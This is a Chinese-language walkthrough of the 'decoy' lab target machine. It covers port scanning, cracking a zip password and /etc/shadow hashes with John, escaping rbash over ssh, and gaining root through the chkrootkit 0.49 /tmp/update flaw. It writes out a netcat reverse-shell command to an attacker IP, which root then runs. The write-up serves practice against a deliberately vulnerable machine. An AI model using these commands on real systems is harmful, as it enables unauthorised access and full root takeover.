decoy靶机复现

靶机设置

设置网卡ens33

设置靶机为NAT模式

靶机IP发现

nmap 192.168.112.0/24

靶机ip为192.168.112.149

端口扫描

nmap 192.168.112.149 -p- -sV -O -Pn

访问浏览器

默认是8080，需要更改为80端口

下载好之后发现解压需要密码

破解密码

将该安装包放到kali中

进行密码破解

zip2john save.zip > save.zip.hash

john save.zip.hash

破解出密码：manuel

查看密码文件

cat /etc/shadow

爆破ssh密码

john ./etc/shadow --format=crypt

发现了账号：296640a3b825115a47b68fc44501c828

密码：server

ssh连接

连接成功

提权

尝试好多命令，发现都被rbash限制

ssh命令使用参数-t "bash --noprofile"可以强制分配伪终端，从而解决命令行受限问题，例如能够添加环境变量了。 重新连接ssh

ssh 296640a3b825115a47b68fc44501c828@192.168.112.149 -t "bash --noprofile"

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:$PATH

sudo -l

发现不存在免密操作

ls

cd SV-502/

ls

cd logs

ls

cat log.txt

发现pspy的日志文件。pspy是Linux系统的进程监控工具，可以记录进程的运行情况，包括启动进程的命令，一定程度上类似于详细版的history命令。

发现了曾经执行过解压chkrootkit-0.49.tar.gz文件的命令，也就是系统可能使用0.49版本的chkrootkit程序。

在msf查看相关的exp

find / -name *chkrootkit* 2>/dev/null

发现没有相关的值

前面发现的honeypot.decoy里面有AV Scan病毒扫描功能，可能集成了chkrootkit的后门检查能力

honeypot.decoy

5

for i in $(seq 1 300); do ps -ef | grep -v grep | grep chkrootkit; sleep 1; done;

查看几分钟的运行情况

发现root用户会执行0.49版本的chkrootkit程序，将前边的exp复制到当前目录下

searchsploit -m 33899.txt

查看文件

cat 33899.txt

当用户为非root用户，创建一个名为/tmp/update的可执行程序，内含提权代码；当用户为root用户，运行0.49版本的chkrootkit程序。

尝试进行反弹shell

echo nc -nv 192.168.112.130 9999 -e /bin/bash > /tmp/update

chmod +x /tmp/update

使用非root用户，也就是当前的296640a3b825115a47b68fc44501c828用户，执行命令 echo nc -nv 192.168.112.130 9999-e /bin/bash > /tmp/update 创建一个名为/tmp/update的可执行程序

/usr/bin/touch /dev/shm/STTY5246

honeypot.decoy

使用root用户，运行0.49版本的chkrootkit程序，也就是通过使用命令/usr/bin/touch /dev/shm/STTY5246，或者使用程序honeypot.decoy的功能5 Launch an AV Scan.，或者甚至什么也不做，来调用root用户运行0.49版本的chkrootkit程序。

等了一段时间后发现监听成功

已经为root用户

提权成功